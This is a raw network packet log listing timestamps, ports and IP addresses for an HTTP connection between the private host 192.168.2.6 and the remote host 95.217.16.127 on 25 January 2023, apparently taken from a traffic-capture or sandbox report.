Jan 25, 2023 21:04:28.680432081 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680442095 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680463076 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680483103 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680485964 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680506945 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680524111 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680530071 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680553913 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680562973 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680577040 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680578947 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680598974 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680618048 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680619001 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680640936 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680645943 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680663109 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680684090 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680685043 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680706024 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680706978 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680727005 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680741072 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680748940 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680769920 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680771112 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680794001 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680800915 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680814981 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680835009 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680835962 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680855989 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680869102 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680877924 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680900097 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680906057 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680922985 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680944920 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680947065 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680964947 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680968046 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680989027 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680998087 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.681010008 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.681021929 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.681030989 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.681044102 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.681051970 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.681067944 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.681073904 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.681096077 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.681102991 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.681118011 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.681137085 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.681138039 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.681159973 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.681178093 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.681180954 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.681202888 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.681210995 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.681225061 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.681246042 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.681266069 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.681286097 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.681307077 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.681313992 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.681313992 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.681313992 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.681328058 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.681349039 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.681350946 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.681372881 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.681372881 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.681394100 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.681410074 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.681416988 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.681442976 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.681474924 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.719124079 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719161034 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719181061 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719203949 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719265938 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.719326973 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.719333887 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719372988 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719398975 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.719412088 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719432116 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.719444036 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719476938 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719497919 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.719499111 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719497919 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.719533920 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719557047 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.719557047 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.719574928 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719585896 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.719597101 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719611883 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719631910 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719650984 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.719652891 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719688892 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.719710112 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719731092 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.719739914 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719759941 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.719774008 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719808102 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.719822884 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719846010 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.719846964 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719876051 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.719882011 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719907045 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.719914913 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719930887 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.719940901 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719969988 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.719975948 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.719995975 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.720010042 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720037937 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.720038891 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720052004 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.720062017 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720077038 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720089912 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720104933 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720117092 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720132113 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720145941 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720160007 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720172882 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720186949 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720211029 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720223904 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720237970 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720252037 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720264912 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720285892 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720299006 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720313072 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720326900 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720339060 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720360041 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720381021 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720383883 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.720396042 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720411062 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720424891 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720436096 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.720498085 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.720525980 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720565081 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720587015 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.720603943 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720628977 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.720652103 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720683098 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720684052 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.720705032 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720726967 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720766068 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720761061 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.720761061 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.720761061 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.720788002 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720794916 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.720812082 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720838070 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.720838070 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.720854044 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720875978 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720886946 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.720912933 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.720922947 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720936060 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.720951080 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720977068 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.720979929 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.720999956 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.721002102 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721035004 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.721040010 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721060038 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.721060991 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721092939 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721102953 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.721115112 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721133947 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.721141100 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721163034 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.721169949 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721194983 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721204996 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721208096 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.721220016 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721242905 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721247911 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.721263885 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721278906 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.721287012 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721308947 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721312046 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.721330881 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721335888 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.721355915 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721374989 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.721385956 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721390963 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721406937 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721417904 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.721427917 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721448898 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721470118 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721491098 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721513033 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721534014 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721554041 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721560001 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.721575022 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721597910 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721618891 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721641064 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721656084 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.721666098 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721700907 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721709013 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721716881 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.721724987 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721741915 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721760988 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721770048 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.721780062 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721801043 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721821070 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721853018 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721884012 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721910954 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721935987 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721959114 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721986055 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.721998930 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.722014904 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722043037 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722059011 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.722070932 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722083092 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.722104073 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722121000 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.722134113 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722161055 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722182035 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.722187042 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722197056 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.722209930 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722215891 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.722230911 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722239971 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.722255945 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722268105 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.722278118 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722299099 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722312927 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722326040 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722342968 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722356081 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722369909 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722395897 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722402096 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722409010 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722429991 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722440004 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.722440004 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.722453117 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722460032 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.722474098 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722495079 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722517014 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.722523928 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.722544909 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.722565889 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.760261059 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.760335922 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.760430098 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.760479927 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.760467052 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.760468006 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.760549068 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.760556936 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.760556936 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.760586977 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.760603905 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.760627031 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.760642052 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.760658026 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.760682106 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.760700941 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.760775089 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.760790110 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.760843039 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.760853052 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.760921955 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.760925055 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.760925055 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.760993958 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.761008024 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.761046886 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.761068106 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.761096001 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.761101961 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.761157036 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.761162043 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.761200905 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.761233091 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.761264086 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.761291981 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.761292934 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.761346102 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.761359930 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.761406898 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.761409044 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.761468887 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.761486053 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.761533976 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.761548042 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.761586905 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.761590958 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.761629105 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.761643887 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.761683941 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.761688948 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.761729956 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.761745930 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.761764050 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.761782885 CET	49715	80	192.168.2.6	95.217.16.127
